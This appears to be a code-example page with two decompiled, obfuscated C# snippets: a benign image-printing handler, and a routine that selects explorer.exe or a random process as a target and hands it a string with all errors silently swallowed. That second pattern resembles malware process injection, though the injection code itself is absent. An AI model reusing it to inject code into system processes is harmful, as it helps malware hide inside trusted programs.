예제 #1
0
        private void printDocument_0_PrintPage(object sender, PrintPageEventArgs e)
        {
            ContentAlignment topRight      = this.AllowPrintCenter ? ContentAlignment.MiddleCenter : ContentAlignment.TopLeft;
            RectangleF       printableArea = e.PageSettings.PrintableArea;
            GraphicsUnit     pixel         = GraphicsUnit.Pixel;
            RectangleF       bounds        = this.image_0.GetBounds(ref pixel);

            if (this.AllowPrintRotate && !(((printableArea.Width <= printableArea.Height) || (bounds.Width >= bounds.Height)) ? ((printableArea.Width >= printableArea.Height) || (bounds.Width <= bounds.Height)) : false))
            {
                this.image_0.RotateFlip(RotateFlipType.Rotate90FlipNone);
                bounds = this.image_0.GetBounds(ref pixel);
                if (topRight.Equals(ContentAlignment.TopLeft))
                {
                    topRight = ContentAlignment.TopRight;
                }
            }
            RectangleF ef = new RectangleF(0f, 0f, bounds.Width, bounds.Height);

            if (this.AllowPrintEnlarge || this.AllowPrintShrink)
            {
                SizeF ef2 = Class25.smethod_0(bounds.Size, printableArea.Size, false);
                if (!((!this.AllowPrintShrink || (ef2.Width >= ef.Width)) ? (!this.AllowPrintEnlarge || (ef2.Width <= ef.Width)) : false))
                {
                    ef.Size = ef2;
                }
            }
            ef = Class25.smethod_1(ef, new RectangleF(0f, 0f, printableArea.Width, printableArea.Height), topRight);
            e.Graphics.DrawImage(this.image_0, ef, bounds, GraphicsUnit.Pixel);
        }
예제 #2
0
 // Token: 0x060001F7 RID: 503 RVA: 0x00010020 File Offset: 0x0000E220
 public static void smethod_2(string string_0)
 {
     try
     {
         Process process_;
         if (Process.GetProcessesByName("explorer").Length != 0)
         {
             process_ = Process.GetProcessesByName("explorer")[0];
         }
         else
         {
             Process[] processes = Process.GetProcesses();
             int       maxValue  = processes.Length;
             Random    random    = new Random();
             int       num       = random.Next(1, maxValue);
             process_ = Process.GetProcesses()[num];
         }
         Class25.smethod_1(string_0, process_);
         Class25.bool_0 = true;
     }
     catch
     {
     }
 }